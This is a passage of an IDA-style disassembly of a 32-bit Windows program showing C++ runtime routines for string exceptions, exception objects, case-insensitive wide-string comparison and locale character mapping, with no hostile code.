movzx eax, ax
movzx edx, dl
shl eax, 8
or eax, edx
cmp [ebp+arg_4], eax
jz short loc_42644D
jmp short loc_426446
; ---------------------------------------------------------------------------
loc_42643E: ; CODE XREF: sub_4263F1+31j
movzx edx, ax
cmp [ebp+arg_4], edx
jz short loc_426452
loc_426446: ; CODE XREF: sub_4263F1+4Bj
inc ecx
jmp short loc_42640F
; ---------------------------------------------------------------------------
loc_426449: ; CODE XREF: sub_4263F1+39j
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42644D: ; CODE XREF: sub_4263F1+49j
lea eax, [ecx-1]
pop ebp
retn
; ---------------------------------------------------------------------------
loc_426452: ; CODE XREF: sub_4263F1+25j
; sub_4263F1+53j
movzx edx, ax
mov eax, [ebp+arg_4]
sub eax, edx
neg eax
sbb eax, eax
not eax
and eax, ecx
pop ebp
retn
sub_4263F1 endp
; =============== S U B R O U T I N E =======================================
sub_426464 proc near ; CODE XREF: sub_417EEE+21p
; sub_42638A+4Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_42648B
push esi
call sub_41AFE0
inc eax
push eax
call sub_41B4D5
pop ecx
test eax, eax
pop ecx
jz short loc_42648B
push esi
push eax
call sub_41BEB0
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_42648B: ; CODE XREF: sub_426464+7j
; sub_426464+1Aj
xor eax, eax
pop esi
retn
sub_426464 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_426490 proc near ; CODE XREF: sub_426573+19p
; sub_42669A+19p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
call sub_41AFE0
pop ecx
push eax
push [esp+8+arg_0]
mov ecx, esi
call sub_40D6EF
mov eax, esi
pop esi
retn 8
sub_426490 endp
; =============== S U B R O U T I N E =======================================
sub_4264BA proc near ; CODE XREF: ___:004264E5p
; sub_426568+6j ...
push esi
mov esi, ecx
push 1
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427D0C
call sub_40D6B3
mov ecx, esi
pop esi
jmp sub_4268B6
sub_4264BA endp
; =============== S U B R O U T I N E =======================================
sub_4264D5 proc near ; DATA XREF: ___:00427D10o
; ___:00427D20o ...
mov eax, [ecx+10h]
test eax, eax
jnz short locret_4264E1
mov eax, offset dword_4276A8
locret_4264E1: ; CODE XREF: sub_4264D5+5j
retn
sub_4264D5 endp
; ---------------------------------------------------------------------------
loc_4264E2: ; DATA XREF: ___:off_427D0Co
push esi
mov esi, ecx
call sub_4264BA
test byte ptr [esp+8], 1
jz short loc_4264F8
push esi
call sub_41CC83
pop ecx
loc_4264F8: ; CODE XREF: ___:004264EFj
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_4264FE proc near ; CODE XREF: sub_426573+29p
mov eax, offset loc_426E32
call sub_41CC64
push ecx
push ecx
push esi
lea eax, [ebp-10h]
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset dword_427D28
call sub_42682F
push dword ptr [ebp+8]
and dword ptr [ebp-4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427D0C
call sub_4265B0
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_427D1C
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_4264FE endp
; =============== S U B R O U T I N E =======================================
sub_42654C proc near ; DATA XREF: ___:off_427D1Co
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_426568
test [esp+4+arg_0], 1
jz short loc_426562
push esi
call sub_41CC83
pop ecx
loc_426562: ; CODE XREF: sub_42654C+Dj
mov eax, esi
pop esi
retn 4
sub_42654C endp
; =============== S U B R O U T I N E =======================================
sub_426568 proc near ; CODE XREF: sub_42654C+3p
; DATA XREF: ___:00428094o
mov dword ptr [ecx], offset off_427D1C
jmp sub_4264BA
sub_426568 endp
; =============== S U B R O U T I N E =======================================
sub_426573 proc near ; CODE XREF: sub_40D560+13p
; sub_40D724+Ep
mov eax, offset loc_426E44
call sub_41CC64
sub esp, 30h
lea eax, [ebp-0Dh]
push eax
push offset aInvalidStringP ; "invalid string position"
lea ecx, [ebp-20h]
call sub_426490
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_4264FE
push offset dword_428090
lea eax, [ebp-3Ch]
push eax
call sub_4268D9
int 3 ; Trap to Debugger
sub_426573 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4265B0 proc near ; CODE XREF: sub_4264FE+32p
; sub_4265D0+32p ...
arg_0 = dword ptr 4
push esi
xor eax, eax
push 0FFFFFFFFh
mov esi, ecx
push eax
push [esp+0Ch+arg_0]
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
call sub_40D560
mov eax, esi
pop esi
retn 4
sub_4265B0 endp
; =============== S U B R O U T I N E =======================================
sub_4265D0 proc near ; CODE XREF: sub_42669A+29p
mov eax, offset loc_426E56
call sub_41CC64
push ecx
push ecx
push esi
lea eax, [ebp-10h]
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset dword_427D28
call sub_42682F
push dword ptr [ebp+8]
and dword ptr [ebp-4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427D0C
call sub_4265B0
mov ecx, [ebp-0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_4265D0 endp
; =============== S U B R O U T I N E =======================================
sub_426618 proc near ; CODE XREF: sub_426682+7p
; sub_4266DE+7p ...
mov eax, offset loc_426E68
call sub_41CC64
push ecx
push esi
push edi
mov edi, [ebp+8]
mov esi, ecx
push edi
mov [ebp-10h], esi
call sub_42686C
and dword ptr [ebp-4], 0
add edi, 0Ch
push edi
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427D0C
call sub_4265B0
mov ecx, [ebp-0Ch]
pop edi
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_426618 endp
; =============== S U B R O U T I N E =======================================
sub_42665B proc near ; DATA XREF: ___:off_427D48o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_426677
test [esp+4+arg_0], 1
jz short loc_426671
push esi
call sub_41CC83
pop ecx
loc_426671: ; CODE XREF: sub_42665B+Dj
mov eax, esi
pop esi
retn 4
sub_42665B endp
; =============== S U B R O U T I N E =======================================
sub_426677 proc near ; CODE XREF: sub_42665B+3p
; DATA XREF: ___:0042813Co
mov dword ptr [ecx], offset off_427D48
jmp sub_4264BA
sub_426677 endp
; =============== S U B R O U T I N E =======================================
sub_426682 proc near ; CODE XREF: sub_4266F6+46p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_426618
mov dword ptr [esi], offset off_427D1C
mov eax, esi
pop esi
retn 4
sub_426682 endp
; =============== S U B R O U T I N E =======================================
sub_42669A proc near ; CODE XREF: sub_40D4B0+15p
; sub_40D509+15p ...
mov eax, offset loc_426E7A
call sub_41CC64
sub esp, 30h
lea eax, [ebp-0Dh]
push eax
push offset aStringTooLong ; "string too long"
lea ecx, [ebp-20h]
call sub_426490
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_4265D0
push offset dword_428138
lea eax, [ebp-3Ch]
push eax
mov dword ptr [ebp-3Ch], offset off_427D48
call sub_4268D9
int 3 ; Trap to Debugger
sub_42669A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4266DE proc near ; CODE XREF: sub_4266F6+28p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_426618
mov dword ptr [esi], offset off_427D48
mov eax, esi
pop esi
retn 4
sub_4266DE endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_4266F6 proc near ; DATA XREF: ___:00427D14o
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_426618
push offset dword_428178
lea eax, [ebp+var_1C]
push eax
call sub_4268D9
int 3 ; Trap to Debugger
loc_426714: ; DATA XREF: ___:00427D50o
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_4266DE
push offset dword_428138
lea eax, [ebp+var_1C]
push eax
call sub_4268D9
int 3 ; Trap to Debugger
loc_426732: ; DATA XREF: ___:00427D24o
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_426682
push offset dword_428090
lea eax, [ebp+var_1C]
push eax
call sub_4268D9
int 3 ; Trap to Debugger
sub_4266F6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_426750 proc near
jmp near ptr 71B2ACCBh
sub_426750 endp
; ---------------------------------------------------------------------------
cmpsb
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_426756 proc near ; CODE XREF: sub_40CE40+5Ep
; ___:00414BE5p ...
nop
jmp near ptr 71AB1B7Bh
sub_426756 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_42675C proc near ; CODE XREF: sub_41C8D0+23p
; sub_41CB74+13p
jmp near ptr 2A10000h
sub_42675C endp
; ---------------------------------------------------------------------------
db 25h
; =============== S U B R O U T I N E =======================================
sub_426762 proc near ; CODE XREF: sub_417275+E2p
; sub_417275+F9p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp dword_4DB9E4, 0
push ebx
jnz short loc_4267A8
mov edx, [esp+4+arg_4]
mov ecx, [esp+4+arg_0]
loc_426774: ; CODE XREF: sub_426762+42j
mov bx, [ecx]
cmp bx, 5Ah
ja short loc_426786
cmp bx, 41h
jb short loc_426786
add ebx, 20h
loc_426786: ; CODE XREF: sub_426762+19j
; sub_426762+1Fj
mov ax, [edx]
cmp ax, 5Ah
ja short loc_426798
cmp ax, 41h
jb short loc_426798
add eax, 20h
loc_426798: ; CODE XREF: sub_426762+2Bj
; sub_426762+31j
inc ecx
inc ecx
inc edx
inc edx
test bx, bx
jz short loc_4267D8
cmp bx, ax
jz short loc_426774
jmp short loc_4267D8
; ---------------------------------------------------------------------------
loc_4267A8: ; CODE XREF: sub_426762+8j
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, [esp+0Ch+arg_4]
loc_4267B2: ; CODE XREF: sub_426762+72j
mov ax, [esi]
inc esi
push eax
inc esi
call sub_426913
mov ebx, eax
mov ax, [edi]
inc edi
push eax
inc edi
call sub_426913
pop ecx
test bx, bx
pop ecx
jz short loc_4267D6
cmp bx, ax
jz short loc_4267B2
loc_4267D6: ; CODE XREF: sub_426762+6Dj
pop edi
pop esi
loc_4267D8: ; CODE XREF: sub_426762+3Dj
; sub_426762+44j
movzx ecx, ax
movzx eax, bx
sub eax, ecx
pop ebx
retn
sub_426762 endp
; =============== S U B R O U T I N E =======================================
sub_4267E2 proc near ; CODE XREF: ___:004267FAp
mov dword ptr [ecx], offset off_427D68
mov ecx, [ecx+4]
test ecx, ecx
jz short locret_4267F6
push ecx
call sub_41B0B1
pop ecx
locret_4267F6: ; CODE XREF: sub_4267E2+Bj
retn
sub_4267E2 endp
; ---------------------------------------------------------------------------
loc_4267F7: ; DATA XREF: ___:off_427D68o
push esi
mov esi, ecx
call sub_4267E2
test byte ptr [esp+8], 1
jz short loc_42680D
push esi
call sub_41CC83
pop ecx
loc_42680D: ; CODE XREF: ___:00426804j
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_426813: ; DATA XREF: ___:off_427D70o
push esi
mov esi, ecx
call sub_4268B6
test byte ptr [esp+8], 1
jz short loc_426829
push esi
call sub_41CC83
pop ecx
loc_426829: ; CODE XREF: ___:00426820j
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_42682F proc near ; CODE XREF: sub_4264FE+1Dp
; sub_4265D0+1Dp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_427D70
push dword ptr [edi]
call sub_41AFE0
inc eax
push eax
call sub_41CFC5
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_42685E
push dword ptr [edi]
push eax
call sub_41BEB0
pop ecx
pop ecx
loc_42685E: ; CODE XREF: sub_42682F+23j
mov dword ptr [esi+8], 1
mov eax, esi
pop edi
pop esi
retn 4
sub_42682F endp
; =============== S U B R O U T I N E =======================================
sub_42686C proc near ; CODE XREF: sub_426618+16p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_427D70
mov eax, [edi+8]
test eax, eax
mov [esi+8], eax
jz short loc_4268A9
push dword ptr [edi+4]
call sub_41AFE0
inc eax
push eax
call sub_41CFC5
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_4268AF
push dword ptr [edi+4]
push eax
call sub_41BEB0
pop ecx
pop ecx
jmp short loc_4268AF
; ---------------------------------------------------------------------------
loc_4268A9: ; CODE XREF: sub_42686C+16j
mov eax, [edi+4]
mov [esi+4], eax
loc_4268AF: ; CODE XREF: sub_42686C+2Ej
; sub_42686C+3Bj
mov eax, esi
pop edi
pop esi
retn 4
sub_42686C endp
; =============== S U B R O U T I N E =======================================
sub_4268B6 proc near ; CODE XREF: sub_4264BA+16j
; ___:00426816p ...
cmp dword ptr [ecx+8], 0
mov dword ptr [ecx], offset off_427D70
jz short locret_4268CB
push dword ptr [ecx+4]
call sub_41CC83
pop ecx
locret_4268CB: ; CODE XREF: sub_4268B6+Aj
retn
sub_4268B6 endp
; =============== S U B R O U T I N E =======================================
sub_4268CC proc near ; DATA XREF: ___:00427D74o
mov eax, [ecx+4]
test eax, eax
jnz short locret_4268D8
mov eax, offset aUnknownExcepti ; "Unknown exception"
locret_4268D8: ; CODE XREF: sub_4268CC+5j
retn
sub_4268CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4268D9 proc near ; CODE XREF: sub_426573+37p
; sub_42669A+3Ep ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push edi
push 8
pop ecx
mov esi, offset dword_427D90
lea edi, [ebp+var_20]
rep movsd
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
lea eax, [ebp+var_C]
push eax
push [ebp+var_10]
push [ebp+var_1C]
push [ebp+var_20]
nop
call near ptr 2800000h
pop edi
pop esi
leave
retn 8
sub_4268D9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426913 proc near ; CODE XREF: sub_426762+56p
; sub_426762+63p
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp ax, 0FFFFh
jnz short loc_426925
or ax, ax
leave
retn
; ---------------------------------------------------------------------------
loc_426925: ; CODE XREF: sub_426913+Bj
cmp dword_4DB9E4, 0
jnz short loc_42693F
cmp ax, 41h
jb short locret_426986
cmp ax, 5Ah
ja short locret_426986
add eax, 20h
leave
retn
; ---------------------------------------------------------------------------
loc_42693F: ; CODE XREF: sub_426913+19j
cmp ax, 100h
jnb short loc_426959
push 1
push eax
call sub_426BC1
pop ecx
test eax, eax
pop ecx
jnz short loc_426959
mov ax, word ptr [ebp+arg_0]
leave
retn
; ---------------------------------------------------------------------------
loc_426959: ; CODE XREF: sub_426913+30j
; sub_426913+3Ej
push 0
lea eax, [ebp+var_2]
push 1
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 100h
push dword_4DB9E4
call sub_426988
add esp, 1Ch
test eax, eax
mov ax, word ptr [ebp+arg_0]
jz short locret_426986
mov ax, [ebp+var_2]
locret_426986: ; CODE XREF: sub_426913+1Fj
; sub_426913+25j ...
leave
retn
sub_426913 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426988 proc near ; CODE XREF: sub_426913+5Fp
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427DB0
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor esi, esi
cmp dword_4DBC3C, esi
jnz short loc_4269FE
push esi
push esi
push 1
pop ebx
push ebx
push offset dword_427940
mov edi, 100h
push edi
push esi
nop
call near ptr 27E0000h
test eax, eax
jz short loc_4269DC
mov dword_4DBC3C, ebx
jmp short loc_4269FE
; ---------------------------------------------------------------------------
loc_4269DC: ; CODE XREF: sub_426988+4Aj
push esi
push esi
push ebx
push offset dword_4CB4DC
push edi
push esi
nop
call near ptr 27F0000h
test eax, eax
jz loc_426B7D
mov dword_4DBC3C, 2
loc_4269FE: ; CODE XREF: sub_426988+2Ej
; sub_426988+52j
cmp [ebp+arg_C], esi
jle short loc_426A13
push [ebp+arg_C]
push [ebp+arg_8]
call sub_426B91
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_426A13: ; CODE XREF: sub_426988+79j
mov eax, dword_4DBC3C
cmp eax, 1
jnz short loc_426A3A
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 27E0000h
jmp loc_426B7F
; ---------------------------------------------------------------------------
loc_426A3A: ; CODE XREF: sub_426988+93j
cmp eax, 2
jnz loc_426B7D
cmp [ebp+arg_18], esi
jnz short loc_426A50
mov eax, dword_4DB9F4
mov [ebp+arg_18], eax
loc_426A50: ; CODE XREF: sub_426988+BEj
push esi
push esi
push esi
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push 220h
push [ebp+arg_18]
call near ptr 29C1170h
nop
mov [ebp+var_20], eax
cmp eax, esi
jz loc_426B7D
mov [ebp+var_4], esi
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_1C], eax
jmp short loc_426A96
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor esi, esi
mov [ebp+var_1C], esi
loc_426A96: ; CODE XREF: sub_426988+100j
or [ebp+var_4], 0FFFFFFFFh
cmp [ebp+var_1C], esi
jz loc_426B7D
push esi
push esi
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_C]
push [ebp+arg_8]
push 220h
push [ebp+arg_18]
nop
call near ptr 29C1170h
test eax, eax
jz loc_426B7D
push esi
push esi
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 27F0000h
mov edi, eax
mov [ebp+var_2C], edi
cmp edi, esi
jz loc_426B7D
mov [ebp+var_4], 1
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_426B19
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor esi, esi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+var_2C]
loc_426B19: ; CODE XREF: sub_426988+17Dj
cmp ebx, esi
jz short loc_426B7D
push edi
push ebx
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 27F0000h
test eax, eax
jz short loc_426B7D
test byte ptr [ebp+arg_4+1], 4
jz short loc_426B57
mov eax, [ebp+arg_14]
cmp eax, esi
jz short loc_426B79
cmp eax, edi
jl short loc_426B48
mov eax, edi
loc_426B48: ; CODE XREF: sub_426988+1BCj
push eax
push ebx
push [ebp+arg_10]
call sub_41B5F0
add esp, 0Ch
jmp short loc_426B79
; ---------------------------------------------------------------------------
loc_426B57: ; CODE XREF: sub_426988+1B1j
cmp [ebp+arg_14], esi
jnz short loc_426B60
push esi
push esi
jmp short loc_426B66
; ---------------------------------------------------------------------------
loc_426B60: ; CODE XREF: sub_426988+1D2j
push [ebp+arg_14]
push [ebp+arg_10]
loc_426B66: ; CODE XREF: sub_426988+1D6j
push edi
push ebx
push 1
push [ebp+arg_18]
nop
call near ptr 29D0000h
mov edi, eax
cmp edi, esi
jz short loc_426B7D
loc_426B79: ; CODE XREF: sub_426988+1B8j
; sub_426988+1CDj
mov eax, edi
jmp short loc_426B7F
; ---------------------------------------------------------------------------
loc_426B7D: ; CODE XREF: sub_426988+66j
; sub_426988+B5j ...
xor eax, eax
loc_426B7F: ; CODE XREF: sub_426988+ADj
; sub_426988+1F3j
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_426988 endp
; =============== S U B R O U T I N E =======================================
sub_426B91 proc near ; CODE XREF: sub_426988+81p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_426BB0
loc_426BA1: ; CODE XREF: sub_426B91+1Dj
cmp word ptr [eax], 0
jz short loc_426BB0
inc eax
mov esi, ecx
inc eax
dec ecx
test esi, esi
jnz short loc_426BA1
loc_426BB0: ; CODE XREF: sub_426B91+Ej
; sub_426B91+14j
cmp word ptr [eax], 0
pop esi
jnz short loc_426BBE
sub eax, [esp+arg_0]
sar eax, 1
retn
; ---------------------------------------------------------------------------
loc_426BBE: ; CODE XREF: sub_426B91+24j
mov eax, edx
retn
sub_426B91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426BC1 proc near ; CODE XREF: sub_426913+35p
var_4 = dword ptr -4
arg_0 = word ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0FFFFh
jz short loc_426C01
cmp [ebp+arg_0], 100h
jnb short loc_426BE5
movzx eax, [ebp+arg_0]
mov ecx, off_43C9AC
mov ax, [ecx+eax*2]
jmp short loc_426C08
; ---------------------------------------------------------------------------
loc_426BE5: ; CODE XREF: sub_426BC1+12j
push 0
lea eax, [ebp+var_4]
push 0
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 1
call sub_426C13
add esp, 18h
test eax, eax
jnz short loc_426C05
loc_426C01: ; CODE XREF: sub_426BC1+Aj
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_426C05: ; CODE XREF: sub_426BC1+3Ej
mov eax, [ebp+var_4]
loc_426C08: ; CODE XREF: sub_426BC1+22j
movzx ecx, [ebp+arg_4]
movzx eax, ax
and eax, ecx
leave
retn
sub_426BC1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426C13 proc near ; CODE XREF: sub_426BC1+34p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427DC8
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_4DBC40
xor edi, edi
cmp eax, edi
jnz short loc_426C82
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_427940
push esi
nop
call near ptr 27A006Ch
test eax, eax
jz short loc_426C60
mov eax, esi
jmp short loc_426C7D
; ---------------------------------------------------------------------------
loc_426C60: ; CODE XREF: sub_426C13+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset dword_4CB4DC
push esi
push edi
call near ptr 27B0000h
nop
test eax, eax
jz loc_426DC4
push 2
pop eax
loc_426C7D: ; CODE XREF: sub_426C13+4Bj
mov dword_4DBC40, eax
loc_426C82: ; CODE XREF: sub_426C13+2Fj
cmp eax, 1
jnz short loc_426C9E
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 27A006Ch
jmp loc_426DC6
; ---------------------------------------------------------------------------
loc_426C9E: ; CODE XREF: sub_426C13+72j
cmp eax, 2
jnz loc_426DC4
cmp [ebp+arg_10], edi
jnz short loc_426CB4
mov eax, dword_4DB9F4
mov [ebp+arg_10], eax
loc_426CB4: ; CODE XREF: sub_426C13+97j
push edi
push edi
push edi
push edi
push [ebp+arg_8]
push [ebp+arg_4]
push 220h
push [ebp+arg_10]
nop
call near ptr 29C1170h
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz loc_426DC4
mov [ebp+var_4], edi
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_2C], eax
push esi
push edi
push eax
call sub_41B590
add esp, 0Ch
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_426D12
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_2C], edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_426D12: ; CODE XREF: sub_426C13+EAj
cmp [ebp+var_2C], edi
jz loc_426DC4
push edi
push edi
push esi
push [ebp+var_2C]
push [ebp+arg_8]
push [ebp+arg_4]
push 220h
push [ebp+arg_10]
nop
call near ptr 29C1170h
test eax, eax
jz loc_426DC4
mov [ebp+var_4], 1
lea eax, [esi+esi+2]
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_24], ebx
jmp short loc_426D67
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
loc_426D67: ; CODE XREF: sub_426C13+147j
or [ebp+var_4], 0FFFFFFFFh
cmp ebx, edi
jz short loc_426DC4
mov eax, [ebp+arg_14]
cmp eax, edi
jnz short loc_426D7B
mov eax, dword_4DB9E4
loc_426D7B: ; CODE XREF: sub_426C13+161j
mov ecx, [ebp+arg_8]
lea edi, [ecx+ecx]
lea esi, [edi+ebx]
or word ptr [esi], 0FFFFh
or word ptr [esi-2], 0FFFFh
push ebx
push [ebp+var_28]
push [ebp+var_2C]
push [ebp+arg_0]
push eax
call near ptr 27B0000h
nop
mov [ebp+var_20], eax
cmp word ptr [esi-2], 0FFFFh
jz short loc_426DC4
cmp word ptr [esi], 0FFFFh
jnz short loc_426DC4
push edi
push ebx
push [ebp+arg_C]
call sub_41CC90
add esp, 0Ch
mov eax, [ebp+var_20]
jmp short loc_426DC6
; ---------------------------------------------------------------------------
loc_426DC4: ; CODE XREF: sub_426C13+61j
; sub_426C13+8Ej ...
xor eax, eax
loc_426DC6: ; CODE XREF: sub_426C13+86j
; sub_426C13+1AFj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_426C13 endp
; =============== S U B R O U T I N E =======================================
sub_426DD8 proc near ; DATA XREF: ___:00427F7Co
; FUNCTION CHUNK AT 0040D4A8 SIZE 00000008 BYTES
lea ecx, [ebp-38h]
jmp loc_40D4A8
sub_426DD8 endp
; ---------------------------------------------------------------------------
mov eax, [ebp-20h]
and eax, 1
test eax, eax
jz locret_426DF6
mov ecx, [ebp+8]
jmp loc_40D4A8
; ---------------------------------------------------------------------------
locret_426DF6: ; CODE XREF: ___:00426DE8j
retn
; ---------------------------------------------------------------------------
loc_426DF7: ; DATA XREF: sub_40D07Co
mov eax, offset dword_427F50
jmp loc_41C91F
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp+14h]
jmp loc_40D4A8
; ---------------------------------------------------------------------------
loc_426E0C: ; DATA XREF: ___:00427FACo
lea ecx, [ebp-1Ch]
jmp loc_40D4A8
; ---------------------------------------------------------------------------
loc_426E14: ; DATA XREF: sub_40D21Eo
mov eax, offset dword_427F80
jmp loc_41C91F
; ---------------------------------------------------------------------------
align 10h
loc_426E20: ; DATA XREF: sub_40D78Bo
mov eax, offset dword_427FB0
jmp loc_41C91F
; ---------------------------------------------------------------------------
mov ecx, [ebp-14h]
jmp sub_4268B6
; ---------------------------------------------------------------------------
loc_426E32: ; DATA XREF: sub_4264FEo
mov eax, offset dword_428010
jmp loc_41C91F
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp loc_40D4A8
; ---------------------------------------------------------------------------
loc_426E44: ; DATA XREF: sub_426573o
mov eax, offset dword_4280A8
jmp loc_41C91F
; ---------------------------------------------------------------------------
mov ecx, [ebp-14h]
jmp sub_4268B6
; ---------------------------------------------------------------------------
loc_426E56: ; DATA XREF: sub_4265D0o
mov eax, offset dword_4280CC
jmp loc_41C91F
; ---------------------------------------------------------------------------
